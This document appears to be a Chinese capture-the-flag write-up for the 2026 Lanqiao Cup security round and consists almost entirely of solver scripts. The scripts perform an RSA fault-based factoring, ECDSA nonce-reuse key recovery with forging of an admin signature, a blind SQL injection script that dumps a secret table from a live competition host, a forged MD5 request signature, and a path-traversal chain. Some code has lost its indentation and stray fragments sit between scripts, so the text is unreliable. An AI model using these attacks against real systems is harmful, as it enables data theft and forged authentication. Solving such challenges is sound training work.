蓝桥杯2026网络安全赛道初赛部分题解wp

import random
ts = 1715071200
order_id = 2024042701
cipher_hex = "246a346dc207c5508810015b1a727ca2050e17490903ae3f91988ac56020c90e4e937d9240c03a2e723a"

cipher_bytes = bytes.fromhex(cipher_hex)

seed_value = ts ^ order_id
print(f"随机数种子: {seed_value}")
random.seed(seed_value)

check_code = "".join(str(random.randint(0, 9)) for _ in range(6))
print(f"验证: {check_code} (收据 936992 )")
mask = bytes(random.randint(0, 255) for _ in range(len(cipher_bytes)))
secret = bytes(c ^ m for c, m in zip(cipher_bytes, mask))

print("\nFlag:")
print(secret.decode('utf-8', errors='ignore'))

import math

n = 4376391623420422090093125321247193997606178746835986896757980039875406307457754575765912346918411063231436257346706147995337640299058377914239903698206529
e = 65537
s_good = 1215462546937178480989928955032329371876376937587696844835636102409613045816885299683930703380803778980920223250158896812933428862730662189869680440962991
s_fault = 3528092528175974455947733812329818046193185775378825376160301555808018696615021261487903570154559785404162102106766399756539357297019413781923298085052060
cipher = 2893682879964766743522320790449865549540632243943763005715261841817782270701768093468232119779163352459853082410444548419721052039891196401139541267716111

print("")
p = math.gcd(abs(s_good - s_fault), n)
q = n // p

if p * q == n:
print("1")
else:
print("2")
exit()

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)

secret_int = pow(cipher, d, n)
secret_bytes = secret_int.to_bytes((secret_int.bit_length() + 7) // 8, 'big')
print("\n[+] 最终的 Secret (Flag):")
print(secret_bytes.decode('utf-8', errors='ignore'))

import hashlib
from ecdsa import SigningKey, SECP256k1

def solve():
z1 = 35803318665405666032048798908400774075259419311739592886871963585749689690594
z2 = 39793284188129639924973014131124626058788493396861207842790576967009843273958
r = 58206291912047493001270768302978838281743794200134829962960013685718525623357
s1 = 50299823274630071383103819756925571651617257809878759631948693535171140512049
s2 = 55520076861554262741677107652353499562906081920501068121345625361837220482936

n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

k = ((z1 - z2) * pow(s1 - s2, -1, n)) % n
print(f" k: {k}")

d = ((s1 * k - z1) * pow(r, -1, n)) % n
print(f" d: {d}")

target_msg = b"role=admin&action=read_flag"

sk = SigningKey.from_secret_exponent(d, curve=SECP256k1)

signature = sk.sign(target_msg, hashfunc=hashlib.sha256)

r_forged = int.from_bytes(signature[:32], 'big')
s_forged = int.from_bytes(signature[32:], 'big')

print("\n")
print(f"target_msg = {target_msg.decode()}")
print(f"r = {r_forged}")
print(f"s = {s_forged}")
print("")

if __name__ == '__main__':
solve()

config_key='retention_secret' LIMIT 1

import ssl
import time
import json
import urllib.parse
import urllib.request

TARGET = "https://eci-2zej5uk3u8w0uhkfxoqi.cloudeci1.ichunqiu.com:5000/"

ctx = ssl._create_unverified_context()
opener = urllib.request.build_opener(
    urllib.request.HTTPSHandler(context=ctx),
    urllib.request.HTTPCookieProcessor()
)

def post_form(path, data):
    body = urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(
        TARGET + path,
        data=body,
        headers={"Content-Type": "application/x-www-form-urlencoded"}
    )
    with opener.open(req, timeout=15) as r:
        return json.loads(r.read().decode("utf-8", "ignore"))

def post_empty(path):
    req = urllib.request.Request(TARGET + path, data=b"", method="POST")
    with opener.open(req, timeout=15) as r:
        return json.loads(r.read().decode("utf-8", "ignore"))

def get_json(path):
    req = urllib.request.Request(TARGET + path)
    with opener.open(req, timeout=15) as r:
        return json.loads(r.read().decode("utf-8", "ignore"))

def get_text(path):
    req = urllib.request.Request(TARGET + path)
    with opener.open(req, timeout=15) as r:
        return r.read().decode("utf-8", "ignore")

def run_once_and_count_rows():
    run = post_empty("/report/run")
    job_id = run["job_id"]

    for _ in range(30):
        time.sleep(0.3)
        st = get_json("/report/status?id=" + urllib.parse.quote(job_id))
        if st.get("status") == "ready":
            csv = get_text("/report/download?id=" + urllib.parse.quote(st["export_id"]))
            rows = [x for x in csv.strip().splitlines()[1:] if x.strip()]
            return len(rows)
        if st.get("status") == "failed":
            return -1
    return -1

def bool_query(cond_sql):
    # 核心注入：where 子句进入 0 OR (<cond>)
    payload = f"0 OR ({cond_sql})"
    post_form("/report/save", {"rule": payload})
    rows = run_once_and_count_rows()
    return rows > 0

def get_int(expr, lo, hi):
    # 二分：判断 (expr) >= mid
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if bool_query(f"({expr}) >= {mid}"):
            lo = mid
        else:
            hi = mid - 1
    return lo

def dump_text(expr, max_len=200):
    length = get_int(f"length(({expr}))", 0, max_len)
    out = []
    for i in range(1, length + 1):
        ch = get_int(f"unicode(substr(({expr}),{i},1))", 32, 126)
        out.append(chr(ch))
    return "".join(out)

def main():
    print("[*] proving injection channel...")
    t = bool_query("1=1")
    f = bool_query("1=0")
    print("[+] 1=1 =>", t, " | 1=0 =>", f)
    if not t or f:
        print("[-] bool channel failed, target may be changed.")
        return

    print("[*] dumping table names...")
    tables = dump_text(
        "SELECT group_concat(name,',') FROM (SELECT name FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' ORDER BY name)",
        max_len=200
    )
    print("[+] tables =", tables)

    print("[*] dumping system_kv keys...")
    keys = dump_text(
        "SELECT group_concat(config_key,',') FROM (SELECT config_key FROM system_kv ORDER BY config_key)",
        max_len=200
    )
    print("[+] system_kv keys =", keys)

    print("[*] dumping retention_secret...")
    flag = dump_text(
        "SELECT config_value FROM system_kv WHERE config_key='retention_secret' LIMIT 1",
        max_len=120
    )
    print("[FLAG]", flag)

if __name__ == "__main__":
    main()

)

const INTERNAL_ENDPOINT = '/api/trace/internal/list';

const SIGN_SALT = 'trace_dev_2026';

import hashlib
import time
import requests

INTERNAL_ENDPOINT = '/api/trace/internal/list'
SIGN_SALT = 'trace_dev_2026'

ts = str(int(time.time()))

sign_str = f"{INTERNAL_ENDPOINT}{ts}{SIGN_SALT}"

signature = hashlib.md5(sign_str.encode('utf-8')).hexdigest()


target_url = "http://YOUR_TARGET_IP_OR_DOMAIN"
full_url = f"{target_url}{INTERNAL_ENDPOINT}?ts={ts}&sign={signature}"

print(f"\n")
print(full_url)

import csv
def solve():

    data = []
    with open('monitor.csv', 'r') as f:
        reader = csv.reader(f)
        next(reader)
        for row in reader:
            data.append(float(row[1]))

    binary_string = ""

    start_idx = 280
    step = 3

    idx = start_idx
    while idx < len(data) - 1:
        prev_val = data[idx - 1]
        curr_val = data[idx]
        next_val = data[idx + 1]

        baseline = (prev_val + next_val) / 2
        diff = curr_val - baseline

        if diff > 1.0:
            binary_string += "1"
        elif diff < -1.0:
            binary_string += "0"
        else:

            break

        idx += step


    if len(binary_string) < 16:
        print("二进制数据太短")
        return

    payload_len_bin = binary_string[:16]
    payload_len = int(payload_len_bin, 2)

    payload_bin = binary_string[16:]
    actual_payload_bin = payload_bin[:payload_len * 8]

    flag = ""
    for i in range(0, len(actual_payload_bin), 8):
        byte = actual_payload_bin[i:i + 8]
        if len(byte) == 8:
            flag += chr(int(byte, 2))

    print(f"\n {flag}")


if __name__ == '__main__':
    solve()

name(label) = sha256(sid + "|" + label + "|" + space).hexdigest()

import ssl
import http.client
import hashlib
import json
from urllib.parse import urlparse

TARGET = "https://eci-2zehxoiqsxbk8ey97ft4.cloudeci1.ichunqiu.com:80"
def pair_swap_8(s: str) -> str:
    s = s[:8]
    return "".join(s[i + 1] + s[i] for i in range(0, len(s), 2))


def req(conn, method, path, headers=None):
    conn.request(method, path, headers=headers or {})
    r = conn.getresponse()
    body = r.read()
    hdrs = {k: v for k, v in r.getheaders()}
    return r.status, hdrs, body


def main():
    u = urlparse(TARGET)
    host = u.hostname
    port = u.port or (443 if u.scheme == "https" else 80)

    if u.scheme == "https":
        ctx = ssl._create_unverified_context()
        conn = http.client.HTTPSConnection(host, port, context=ctx, timeout=15)
    else:
        conn = http.client.HTTPConnection(host, port, timeout=15)

    print(f"[*] 正在连接到: {host}:{port}")

    status, h, _ = req(conn, "GET", "/", {"User-Agent": "Mozilla/5.0"})
    if "Set-Cookie" not in h:
        raise RuntimeError(f" 未能获取 Set-Cookie}")

    sid_cookie = h["Set-Cookie"].split(";")[0]  # 格式: sid=xxxx
    sid = sid_cookie.split("=", 1)[1]
    print(f"[+] 成功获取 SID: {sid}")

    _, _, b = req(conn, "GET", "/assets../meta/index.txt", {
        "User-Agent": "Mozilla/5.0",
        "Cookie": sid_cookie
    })
    print(f"[+] /meta/index.txt 预览: {b.decode('utf-8', 'ignore')[:100].strip()}")

    _, h, _ = req(conn, "HEAD", "/assets/readme.txt", {
        "User-Agent": "Mozilla/5.0",
        "Cookie": sid_cookie
    })
    rail = h.get("X-Mirror-Rail", "None")

    _, h, _ = req(conn, "HEAD", "/oracle", {
        "User-Agent": "Mozilla/5.0",
        "Cookie": sid_cookie,
        "X-Knock": "hush"
    })
    trace = h.get("X-Trace")
    if not trace:
        raise RuntimeError("[-] 响应头中缺少 X-Trace")

    slot = pair_swap_8(trace)
    salt = "slip_route_v3"

    token_material = f"{sid}.{trace}.{salt}".encode()
    token = hashlib.sha256(token_material).hexdigest()[:16]

    _, h, b = req(conn, "GET", f"/stage/{slot}/pose?token={token}", {
        "User-Agent": "Mozilla/5.0",
        "Cookie": sid_cookie,
        "X-Knock": "hush",
        "X-Trace": trace
    })
    hint = h.get("X-Ticket-Hint")

    _, _, b = req(conn, "GET", f"/vault/{slot}/pass?token={token}", {
        "User-Agent": "Mozilla/5.0",
        "Cookie": sid_cookie,
        "X-Knock": "hush",
        "X-Trace": trace,
        "X-Ticket-Hint": hint or ""
    })

    resp_text = b.decode("utf-8", "ignore")

    print("-" * 30)
    print(f"| SID   : {sid}")
    print(f"| RAIL  : {rail}")
    print(f"| TRACE : {trace}")
    print(f"| SLOT  : {slot}")
    print(f"| TOKEN : {token}")
    print(f"| HINT  : {hint}")
    print("-" * 30)
    print(f"[+] 最终响应: {resp_text}")

    try:
        j = json.loads(resp_text)
        if "flag" in j:
            print(f"\n{j['flag']}")
    except:
        pass


if __name__ == "__main__":
    main()